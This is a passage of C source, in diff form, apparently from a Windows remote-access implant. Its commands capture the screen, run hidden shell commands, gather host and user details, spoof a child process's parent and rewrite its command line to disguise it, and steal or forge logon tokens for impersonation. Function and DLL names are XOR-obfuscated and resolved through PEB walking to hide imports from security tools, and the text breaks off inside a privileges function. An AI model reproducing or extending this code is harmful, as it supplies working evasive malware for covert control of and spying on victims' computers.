_DEC_GPA(hg, EVS_fn_GetStockObject, _ss.GetStockObject);
_DEC_GPA(hg, EVS_fn_SetStretchBltMode, _ss.SetStretchBltMode);
_DEC_GPA(hg, EVS_fn_SetBrushOrgEx, _ss.SetBrushOrgEx);
_DEC_GPA(hg, EVS_fn_GetDIBits, _ss.GetDIBits);
#undef _DEC_GPA
return _ss.BitBlt ? 0 : -1;
}
int cmd_screenshot(char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 128) return -1;
output_buf[0] = '\0';
if (_ss_init() != 0) {
snprintf(output_buf, output_size, "e:gdi\n");
return -1;
}
HDC hdc_screen = _ss.GetDC(NULL);
if (!hdc_screen) {
snprintf(output_buf, output_size,
"e:dc %lu\n", GetLastError());
return -1;
}
int src_w = _ss.GetDeviceCaps(hdc_screen, HORZRES);
int src_h = _ss.GetDeviceCaps(hdc_screen, VERTRES);
if (src_w <= 0 || src_h <= 0) {
_ss.ReleaseDC(NULL, hdc_screen);
snprintf(output_buf, output_size, "e:caps\n");
return -1;
}
#define SS_MAX_BMP_BYTES (6u * 1024u * 1024u)
int sw = src_w, sh = src_h;
while ((size_t)(((sw * 3u + 3u) & ~3u)) * (size_t)sh > SS_MAX_BMP_BYTES) {
sw = (sw * 3) / 4;
sh = (sh * 3) / 4;
if (sw < 320) { sw = 320; sh = 240; break; }
}
HDC hdc_cap = _ss.CreateCompatibleDC(hdc_screen);
if (!hdc_cap) {
_ss.ReleaseDC(NULL, hdc_screen);
snprintf(output_buf, output_size, "e:cdc\n");
return -1;
}
HBITMAP hbmp_cap = _ss.CreateCompatibleBitmap(hdc_screen, src_w, src_h);
if (!hbmp_cap) {
_ss.DeleteDC(hdc_cap); _ss.ReleaseDC(NULL, hdc_screen);
snprintf(output_buf, output_size, "e:cbm\n");
return -1;
}
_ss.SelectObject(hdc_cap, hbmp_cap);
_ss.BitBlt(hdc_cap, 0, 0, src_w, src_h, hdc_screen, 0, 0, SRCCOPY | CAPTUREBLT);
_ss.ReleaseDC(NULL, hdc_screen);
HBITMAP hbmp_final;
if (sw == src_w && sh == src_h) {
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
hbmp_final = hbmp_cap;
_ss.DeleteDC(hdc_cap);
} else {
HDC hdc_scale = _ss.CreateCompatibleDC(hdc_cap);
hbmp_final = _ss.CreateCompatibleBitmap(hdc_cap, sw, sh);
if (!hdc_scale || !hbmp_final) {
if (hdc_scale) _ss.DeleteDC(hdc_scale);
if (hbmp_final) _ss.DeleteObject(hbmp_final);
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
_ss.DeleteObject(hbmp_cap); _ss.DeleteDC(hdc_cap);
snprintf(output_buf, output_size, "e:sc\n");
return -1;
}
HGDIOBJ old_sc = _ss.SelectObject(hdc_scale, hbmp_final);
_ss.SetStretchBltMode(hdc_scale, HALFTONE);
_ss.SetBrushOrgEx(hdc_scale, 0, 0, NULL);
_ss.StretchBlt(hdc_scale, 0, 0, sw, sh,
hdc_cap, 0, 0, src_w, src_h, SRCCOPY);
_ss.SelectObject(hdc_scale, old_sc);
_ss.DeleteDC(hdc_scale);
_ss.SelectObject(hdc_cap, _ss.GetStockObject(NULL_BRUSH));
_ss.DeleteObject(hbmp_cap);
_ss.DeleteDC(hdc_cap);
}
BITMAPINFOHEADER bih;
memset(&bih, 0, sizeof(bih));
bih.biSize = sizeof(BITMAPINFOHEADER);
bih.biWidth = sw;
bih.biHeight = sh;
bih.biPlanes = 1;
bih.biBitCount = 24;
bih.biCompression = BI_RGB;
DWORD row_stride = (((DWORD)sw * 3u) + 3u) & ~3u;
DWORD pixel_sz = row_stride * (DWORD)sh;
bih.biSizeImage = pixel_sz;
uint8_t *pixels = (uint8_t *)calloc(1, pixel_sz);
if (!pixels) {
_ss.DeleteObject(hbmp_final);
snprintf(output_buf, output_size, "e:px\n");
return -1;
}
HDC hdc_ref = _ss.GetDC(NULL);
int lines = _ss.GetDIBits(hdc_ref, hbmp_final, 0, (UINT)sh, pixels,
(BITMAPINFO *)&bih, DIB_RGB_COLORS);
_ss.ReleaseDC(NULL, hdc_ref);
_ss.DeleteObject(hbmp_final);
if (!lines) {
free(pixels);
snprintf(output_buf, output_size, "e:dib %lu\n", GetLastError());
return -1;
}
DWORD pixel_offset = 14u + (DWORD)sizeof(BITMAPINFOHEADER);
DWORD bmp_sz = pixel_offset + pixel_sz;
uint8_t *bmp = (uint8_t *)malloc(bmp_sz);
if (!bmp) {
free(pixels);
snprintf(output_buf, output_size, "e:bm\n");
return -1;
}
bmp[0] = 'B'; bmp[1] = 'M';
memcpy(bmp + 2, &bmp_sz, 4);
memset(bmp + 6, 0, 4);
memcpy(bmp + 10, &pixel_offset, 4);
memcpy(bmp + 14, &bih, sizeof(BITMAPINFOHEADER));
memcpy(bmp + pixel_offset, pixels, pixel_sz);
free(pixels);
char *b64 = base64_encode(bmp, bmp_sz);
free(bmp);
if (!b64) {
snprintf(output_buf, output_size, "e:b64\n");
return -1;
}
int header_len = snprintf(output_buf, output_size, "ss:%dx%d\n", sw, sh);
if (header_len < 0 || (size_t)header_len >= output_size) {
free(b64);
snprintf(output_buf, output_size, "e:hdr\n");
return -1;
}
size_t remaining = output_size - (size_t)header_len - 1;
size_t b64_len = strlen(b64);
if (b64_len > remaining) b64_len = remaining;
memcpy(output_buf + header_len, b64, b64_len);
output_buf[header_len + b64_len] = '\0';
free(b64);
return 0;
}
+206
View File
@@ -0,0 +1,206 @@
#include "commands.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* GetNativeSystemInfo — removes from IAT */
typedef void (WINAPI *_GNS_t)(LPSYSTEM_INFO);
static void _gns(LPSYSTEM_INFO si) {
static _GNS_t fn = NULL;
if (!fn) {
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GetNativeSystemInfo); i++) fs[i] = (char)(EVS_fn_GetNativeSystemInfo[i] ^ xk);
fs[sizeof(EVS_fn_GetNativeSystemInfo)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (_GNS_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
if (fn) fn(si);
else GetSystemInfo(si);
}
/* GetComputerNameA — removes from IAT */
typedef BOOL (WINAPI *_SGCN_t)(LPSTR, LPDWORD);
static BOOL _sgcna(LPSTR buf, LPDWORD sz) {
static _SGCN_t fn = NULL;
if (!fn) {
char fs[20], ks[14]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameA); i++) fs[i] = (char)(EVS_fn_GetComputerNameA[i] ^ xk);
fs[sizeof(EVS_fn_GetComputerNameA)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (_SGCN_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(buf, sz) : FALSE;
}
/* GlobalMemoryStatusEx — removes from IAT */
typedef BOOL (WINAPI *_GMSE_t)(LPMEMORYSTATUSEX);
static BOOL _gmse(LPMEMORYSTATUSEX p) {
static _GMSE_t fn = NULL;
if (!fn) {
char fs[22], ks[14]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_GlobalMemoryStatusEx); i++) fs[i] = (char)(EVS_fn_GlobalMemoryStatusEx[i] ^ xk);
fs[sizeof(EVS_fn_GlobalMemoryStatusEx)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks); SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (_GMSE_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(p) : FALSE;
}
/* run a shell command via cmd.exe and capture stdout+stderr */
int cmd_shell(const char *cmdline, char *output_buf, size_t output_size)
{
if (!cmdline || !output_buf || output_size == 0) return -1;
output_buf[0] = '\0';
/* create pipe for child output */
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE pipe_rd = NULL, pipe_wr = NULL;
if (!CreatePipe(&pipe_rd, &pipe_wr, &sa, 0)) return -1;
/* prevent read end from being inherited */
if (!SetHandleInformation(pipe_rd, HANDLE_FLAG_INHERIT, 0)) {
CloseHandle(pipe_rd); CloseHandle(pipe_wr);
return -1;
}
/* NUL as stdin so child doesn't block waiting for input */
HANDLE hNull = CreateFileA("NUL", GENERIC_READ,
FILE_SHARE_READ | FILE_SHARE_WRITE,
&sa, OPEN_EXISTING, 0, NULL);
/* XOR-obfuscated "cmd.exe" to avoid plaintext in .rdata */
static const unsigned char k_cx[] = {0xdd,0xd3,0xda,0x90,0xdb,0xc6,0xdb}; /* XOR 0xbe */
char cx[8] = {0};
{ volatile unsigned char _x = 0xbe;
for (int _i = 0; _i < (int)sizeof(k_cx); _i++) cx[_i] = k_cx[_i] ^ _x; }
volatile char redir[6]; /* " 2>&1" */
redir[0]=0x20; redir[1]=0x32; redir[2]=0x3e; redir[3]=0x26; redir[4]=0x31; redir[5]=0x00;
char full_cmd[4096];
snprintf(full_cmd, sizeof(full_cmd), "%s /C %s%s", cx, cmdline, (const char *)redir);
memset(cx, 0, sizeof(cx));
STARTUPINFOA si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = pipe_wr;
si.hStdError = pipe_wr;
si.hStdInput = (hNull != INVALID_HANDLE_VALUE) ? hNull : NULL;
BOOL ok = CreateProcessA(NULL, full_cmd, NULL, NULL,
TRUE, CREATE_NO_WINDOW,
NULL, NULL, &si, &pi);
if (hNull != INVALID_HANDLE_VALUE) CloseHandle(hNull);
CloseHandle(pipe_wr);
if (!ok) {
CloseHandle(pipe_rd);
DWORD _err = GetLastError();
/* "[e:%lu]\n" built at runtime */
volatile char efmt[10];
efmt[0]=0x5b; efmt[1]=0x65; efmt[2]=0x3a; efmt[3]=0x25;
efmt[4]=0x6c; efmt[5]=0x75; efmt[6]=0x5d; efmt[7]=0x0a; efmt[8]=0x00;
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
snprintf(output_buf, output_size, (const char *)efmt, _err);
#pragma GCC diagnostic pop
return -1;
}
/* read output with 30s timeout */
DWORD timeout_ms = 30000;
DWORD start = GetTickCount();
size_t offset = 0;
DWORD bytes_read = 0;
while (offset < output_size - 1) {
if (GetTickCount() - start > timeout_ms) break;
DWORD avail = 0;
if (!PeekNamedPipe(pipe_rd, NULL, 0, NULL, &avail, NULL)) break;
if (avail == 0) {
if (WaitForSingleObject(pi.hProcess, 0) == WAIT_OBJECT_0) break;
Sleep(50);
continue;
}
DWORD to_read = avail;
if (to_read > (DWORD)(output_size - 1 - offset))
to_read = (DWORD)(output_size - 1 - offset);
if (!ReadFile(pipe_rd, output_buf + offset, to_read, &bytes_read, NULL)) break;
offset += bytes_read;
}
DWORD extra = 0;
while (offset < output_size - 1 &&
ReadFile(pipe_rd, output_buf + offset, 1, &extra, NULL) && extra > 0)
offset += extra;
output_buf[offset] = '\0';
if (offset == 0)
strncpy(output_buf, "(no output)", output_size - 1);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(pipe_rd);
return 0;
}
/* collect basic system info */
int cmd_sysinfo(char *output_buf, size_t output_size)
{
char hostname[256] = {0};
char username[128] = {0};
DWORD sz;
sz = sizeof(hostname);
_sgcna(hostname, &sz);
sz = sizeof(username);
GetUserNameA(username, &sz);
SYSTEM_INFO si;
_gns(&si);
MEMORYSTATUSEX mem;
memset(&mem, 0, sizeof(mem));
mem.dwLength = sizeof(mem);
_gmse(&mem);
snprintf(output_buf, output_size,
"Hostname : %s\n"
"Username : %s\n"
"OS Arch : %s\n"
"Processors: %lu\n"
"RAM Total : %llu MB\n"
"RAM Free : %llu MB\n",
hostname,
username,
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "x64" : "x86",
si.dwNumberOfProcessors,
mem.ullTotalPhys / (1024*1024),
mem.ullAvailPhys / (1024*1024));
return 0;
}
+260
View File
@@ -0,0 +1,260 @@
#include "commands.h"
#include "inject.h"
#include "evs_strings.h"
#include "peb_walk.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define PP_CMDLINE_OFF 0x70 /* RTL_USER_PROCESS_PARAMETERS.CommandLine (x64) */
#define PEB_PARAMS_OFF 0x20 /* PEB.ProcessParameters (x64) */
#ifndef NTSTATUS
typedef LONG NTSTATUS;
#endif
/* Dynamic ResumeThread — removes from IAT */
static DWORD _rt(HANDLE h)
{
static DWORD (WINAPI *fn)(HANDLE) = NULL;
if (!fn) {
char fs[16], ks[16]; volatile unsigned char xk = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_ResumeThread); i++) fs[i] = (char)(EVS_fn_ResumeThread[i] ^ xk);
fs[sizeof(EVS_fn_ResumeThread)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
ks[sizeof(EVS_dll_kernel32)] = '\0';
HMODULE m = _peb_module(ks);
SecureZeroMemory(ks, sizeof(ks));
if (m) fn = (DWORD (WINAPI *)(HANDLE))GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn ? fn(h) : (DWORD)-1;
}
typedef NTSTATUS (WINAPI *NtQIP_t)(HANDLE, DWORD, PVOID, ULONG, PULONG);
typedef NTSTATUS (NTAPI *NtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS (NTAPI *NtWVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
static NtRVM_t _get_nrvm(void) {
static NtRVM_t fn = NULL;
if (!fn) {
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
ns[sizeof(EVS_dll_ntdll)] = '\0';
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
if (m) fn = (NtRVM_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn;
}
/* NtWriteVirtualMemory — removes WriteProcessMemory from IAT */
static NtWVM_t _get_nwvm(void) {
static NtWVM_t fn = NULL;
if (!fn) {
char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_fn_NtWriteVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtWriteVirtualMemory[i] ^ k);
fs[sizeof(EVS_fn_NtWriteVirtualMemory)] = '\0';
for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
ns[sizeof(EVS_dll_ntdll)] = '\0';
HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
if (m) fn = (NtWVM_t)(void *)GetProcAddress(m, fs);
SecureZeroMemory(fs, sizeof(fs));
}
return fn;
}
/* Minimal PROCESS_BASIC_INFORMATION */
typedef struct {
LONG_PTR ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG_PTR BasePriority;
ULONG_PTR UniqueProcessId;
ULONG_PTR InheritedFromUniqueProcessId;
} PBI;
static DWORD _find_explorer(void)
{
char _en[13]; volatile unsigned char _k = EVS_KEY;
for (int i = 0; i < (int)sizeof(EVS_str_explorer_exe); i++) _en[i] = (char)(EVS_str_explorer_exe[i] ^ _k);
_en[sizeof(EVS_str_explorer_exe)] = '\0';
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) { SecureZeroMemory(_en, sizeof(_en)); return 0; }
PROCESSENTRY32 pe = {sizeof(pe)};
DWORD pid = 0;
if (Process32First(snap, &pe)) do {
if (_stricmp(pe.szExeFile, _en) == 0)
{ pid = pe.th32ProcessID; break; }
} while (Process32Next(snap, &pe));
CloseHandle(snap);
SecureZeroMemory(_en, sizeof(_en));
return pid;
}
int cmd_spawn(const char *exe_path, const char *fake_cmdline,
const char *real_cmdline,
char *output_buf, size_t output_size)
{
if (!exe_path || !exe_path[0] || !fake_cmdline || !fake_cmdline[0]) {
snprintf(output_buf, output_size,
"[spawn] usage: spawn <exe> <fake_args> [real_args]\n");
return -1;
}
/* build fake cmdline: pad so real cmdline fits in the same buffer */
char fake_full[2048];
snprintf(fake_full, sizeof(fake_full), "%s %s", exe_path, fake_cmdline);
size_t real_len = real_cmdline ? strlen(real_cmdline) : 0;
size_t fake_len = strlen(fake_full);
if (real_len > fake_len) {
/* pad with spaces */
size_t needed = real_len - fake_len;
if (needed < sizeof(fake_full) - fake_len - 1) {
for (size_t i = 0; i < needed; i++)
fake_full[fake_len + i] = ' ';
fake_full[fake_len + needed] = '\0';
}
}
/* PPID spoofing: use explorer.exe as parent */
DWORD ppid = _find_explorer();
STARTUPINFOEXA si;
memset(&si, 0, sizeof(si));
si.StartupInfo.cb = sizeof(si);
si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
SIZE_T attr_sz = 0;
LPPROC_THREAD_ATTRIBUTE_LIST attr_list = NULL;
if (ppid) {
InitializeProcThreadAttributeList(NULL, 1, 0, &attr_sz);
attr_list = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attr_sz);
if (attr_list) {
InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_sz);
HANDLE hParent = inject_nt_open_process(ppid, PROCESS_CREATE_PROCESS);
if (hParent) {
UpdateProcThreadAttribute(attr_list, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(hParent), NULL, NULL);
/* hParent closed after CreateProcess */
}
si.lpAttributeList = attr_list;
}
}
PROCESS_INFORMATION pi = {0};
BOOL ok = CreateProcessA(
exe_path,
fake_full,
NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL, NULL,
&si.StartupInfo, &pi);
if (attr_list) {
DeleteProcThreadAttributeList(attr_list);
free(attr_list);
}
if (!ok) {
snprintf(output_buf, output_size,
"[spawn] CreateProcess failed: %lu\n", GetLastError());
return -1;
}
/* if no real cmdline, just resume and return */
if (!real_cmdline || !real_cmdline[0]) {
_rt(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
snprintf(output_buf, output_size,
"[spawn] pid=%lu fake_cmdline=%s\n",
(unsigned long)pi.dwProcessId, fake_full);
return 0;
}
/* find CommandLine.Buffer in target PEB */
char _sqn[28], _sn[12]; volatile unsigned char _xk = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_fn_NtQueryInformationProcess); _i++) _sqn[_i] = (char)(EVS_fn_NtQueryInformationProcess[_i] ^ _xk);
_sqn[sizeof(EVS_fn_NtQueryInformationProcess)] = '\0';
for (int _i = 0; _i < (int)sizeof(EVS_dll_ntdll); _i++) _sn[_i] = (char)(EVS_dll_ntdll[_i] ^ _xk);
_sn[sizeof(EVS_dll_ntdll)] = '\0';
NtQIP_t pfnQIP = (NtQIP_t)(void *)GetProcAddress(_peb_module(_sn), _sqn);
SecureZeroMemory(_sqn, sizeof(_sqn)); SecureZeroMemory(_sn, sizeof(_sn));
if (!pfnQIP) goto resume;
PBI pbi = {0};
NTSTATUS st = pfnQIP(pi.hProcess, 0 /* ProcessBasicInformation */,
&pbi, sizeof(pbi), NULL);
if (st) goto resume;
/* read ProcessParameters pointer from PEB */
PVOID params_ptr = NULL;
{ NtRVM_t _r = _get_nrvm();
if (!_r || _r(pi.hProcess, (BYTE *)pbi.PebBaseAddress + PEB_PARAMS_OFF,
&params_ptr, sizeof(PVOID), NULL) || !params_ptr)
goto resume; }
/* read CommandLine UNICODE_STRING fields */
USHORT cl_len = 0, cl_maxlen = 0;
PWSTR cl_buf = NULL;
{ NtRVM_t _r = _get_nrvm();
if (_r) {
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
&cl_len, sizeof(USHORT), NULL);
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 2,
&cl_maxlen, sizeof(USHORT), NULL);
_r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 8,
&cl_buf, sizeof(PWSTR), NULL);
}
}
if (!cl_buf || cl_maxlen == 0) goto resume;
/* convert real cmdline to UTF-16 */
WCHAR real_wide[2048] = {0};
int real_wchars = MultiByteToWideChar(CP_ACP, 0, real_cmdline, -1,
real_wide, 2048);
if (real_wchars <= 0) goto resume;
USHORT real_bytes = (USHORT)((real_wchars - 1) * 2);
if (real_bytes > cl_maxlen) {
/* Real too long — skip overwrite, just resume with fake */
goto resume;
}
/* Overwrite the CommandLine buffer in target */
{ NtWVM_t _w = _get_nwvm();
if (_w) {
_w(pi.hProcess, cl_buf, real_wide, real_bytes + 2, NULL);
_w(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
&real_bytes, sizeof(USHORT), NULL);
}
}
resume:
_rt(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
snprintf(output_buf, output_size,
"[spawn] pid=%lu\n"
" visible: %s\n"
" actual: %s\n",
(unsigned long)pi.dwProcessId,
fake_full,
real_cmdline ? real_cmdline : "(same as visible)");
return 0;
}
+299
View File
@@ -0,0 +1,299 @@
#include "commands.h"
#include "inject.h"
#include "adv_lazy.h"
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* one active impersonation token at a time */
static volatile HANDLE s_imp_token = NULL;
static void _token_info(HANDLE htok, char *out, size_t outsz)
{
/* get username */
DWORD needed = 0;
GetTokenInformation(htok, TokenUser, NULL, 0, &needed);
TOKEN_USER *tu = needed ? (TOKEN_USER *)malloc(needed) : NULL;
char uname[256] = "?", domain[256] = "?";
if (tu && GetTokenInformation(htok, TokenUser, tu, needed, &needed)) {
DWORD nlen = 256, dlen = 256;
SID_NAME_USE use;
LookupAccountSidA(NULL, tu->User.Sid, uname, &nlen, domain, &dlen, &use);
}
free(tu);
/* get integrity level */
needed = 0;
GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &needed);
TOKEN_MANDATORY_LABEL *tml = needed ? (TOKEN_MANDATORY_LABEL *)malloc(needed) : NULL;
const char *integ = "?";
if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, needed, &needed)) {
DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
(DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
if (rid >= SECURITY_MANDATORY_SYSTEM_RID) integ = "SYSTEM";
else if (rid >= SECURITY_MANDATORY_HIGH_RID) integ = "HIGH";
else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) integ = "MEDIUM";
else if (rid >= SECURITY_MANDATORY_LOW_RID) integ = "LOW";
else integ = "UNTRUSTED";
}
free(tml);
/* check impersonation type */
TOKEN_TYPE ttype = TokenPrimary;
DWORD ttsz = sizeof(ttype);
GetTokenInformation(htok, TokenType, &ttype, ttsz, &ttsz);
const char *imp = "";
if (ttype == TokenImpersonation) {
SECURITY_IMPERSONATION_LEVEL lvl = SecurityAnonymous;
DWORD lsz = sizeof(lvl);
GetTokenInformation(htok, TokenImpersonationLevel, &lvl, lsz, &lsz);
imp = (lvl == SecurityDelegation) ? " [delegation]"
: (lvl == SecurityImpersonation) ? " [impersonation]"
: " [anonymous/identify]";
}
snprintf(out, outsz, "%s\\%s [%s]%s\n", domain, uname, integ, imp);
}
int cmd_getuid(char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 64) return -1;
output_buf[0] = '\0';
/* try thread token first, fall back to process token */
HANDLE htok = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->OpenThreadToken || !_a->OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &htok) || !htok)
if (_a->OpenProcessToken) _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok); }
if (!htok) {
snprintf(output_buf, output_size,
"[getuid] OpenToken failed: %lu\n", GetLastError());
return -1;
}
_token_info(htok, output_buf, output_size);
CloseHandle(htok);
return 0;
}
int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 64) return -1;
output_buf[0] = '\0';
HANDLE hproc = inject_nt_open_process((DWORD)pid, PROCESS_QUERY_INFORMATION);
if (!hproc) {
snprintf(output_buf, output_size,
"[st] open(%lu) failed\n", pid);
return -1;
}
HANDLE hptok = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc,
TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
&hptok)) {
CloseHandle(hproc);
snprintf(output_buf, output_size,
"[st] OpenProcessToken failed: %lu\n", GetLastError());
return -1;
} }
CloseHandle(hproc);
HANDLE hdup = NULL;
{ const adv_api_t *_a = adv_get();
if (!_a->DuplicateTokenEx || !_a->DuplicateTokenEx(hptok, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenImpersonation, &hdup)) {
CloseHandle(hptok);
snprintf(output_buf, output_size,
"[st] DuplicateTokenEx failed: %lu\n", GetLastError());
return -1;
} }
CloseHandle(hptok);
{ const adv_api_t *_a = adv_get();
if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(hdup)) {
CloseHandle(hdup);
snprintf(output_buf, output_size,
"[st] ImpersonateLoggedOnUser failed: %lu\n",
GetLastError());
return -1;
} }
/* Atomically swap stored token, close old one if any */
HANDLE old = (HANDLE)InterlockedExchangePointer(
(volatile PVOID *)&s_imp_token, hdup);
if (old) CloseHandle(old);
char info[256] = {0};
_token_info(hdup, info, sizeof(info));
snprintf(output_buf, output_size,
"[st] pid=%lu -> %s", pid, info);
return 0;
}
int cmd_rev2self(char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 64) return -1;
output_buf[0] = '\0';
{ const adv_api_t *_a = adv_get(); if (_a->RevertToSelf) _a->RevertToSelf(); }
HANDLE old = (HANDLE)InterlockedExchangePointer(
(volatile PVOID *)&s_imp_token, NULL);
if (old) CloseHandle(old);
snprintf(output_buf, output_size, "[r2s] reverted\n");
return 0;
}
int cmd_make_token(const char *domain_user, const char *password,
char *output_buf, size_t output_size)
{
if (!output_buf || output_size < 64) return -1;
output_buf[0] = '\0';
/* Split "DOMAIN\user" → domain + user; bare "user" defaults domain to "." */
char domain[256] = ".";
char user[256] = {0};
const char *bs = strchr(domain_user, '\\');
if (bs) {
size_t dlen = (size_t)(bs - domain_user);
if (dlen >= sizeof(domain)) dlen = sizeof(domain) - 1;
memcpy(domain, domain_user, dlen);
domain[dlen] = '\0';
strncpy(user, bs + 1, sizeof(user) - 1);
} else {
strncpy(user, domain_user, sizeof(user) - 1);
}
HANDLE htok = NULL;
/*
* LOGON32_LOGON_NEW_CREDENTIALS: local identity stays current user;
* network auth uses provided creds. Equivalent to runas /netonly.
* Does not require SeDebugPrivilege.
*/
{ const adv_api_t *_a = adv_get();
if (!_a->LogonUserA || !_a->LogonUserA(user, domain, password,
LOGON32_LOGON_NEW_CREDENTIALS,
LOGON32_PROVIDER_WINNT50,
&htok)) {
snprintf(output_buf, output_size,
"[mt] LogonUser failed: %lu\n", GetLastError());
return -1;
} }
{ const adv_api_t *_a = adv_get();
if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(htok)) {
CloseHandle(htok);
snprintf(output_buf, output_size,
"[mt] ImpersonateLoggedOnUser failed: %lu\n",
GetLastError());
return -1;
} }
HANDLE old = (HANDLE)InterlockedExchangePointer(
(volatile PVOID *)&s_imp_token, htok);
if (old) CloseHandle(old);
snprintf(output_buf, output_size,
"[mt] %s\\%s (network creds set)\n", domain, user);
return 0;
}
/* ---- cmd_privs ---- */
int cmd_privs(const char *action, const char *priv_name,
char *output_buf, size_t output_size)
{
const adv_api_t *adv = adv_get();
HANDLE hTok;
if (!adv->OpenProcessToken ||
!adv->OpenProcessToken(GetCurrentProcess(),
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTok)) {
snprintf(output_buf, output_size,
"[privs] OpenProcessToken failed: %lu\n", GetLastError());
return -1;
}
/* Default action = list */
if (!action || !action[0] || strcmp(action, "list") == 0) {
DWORD needed = 0;
GetTokenInformation(hTok, TokenPrivileges, NULL, 0, &needed);
TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(needed);
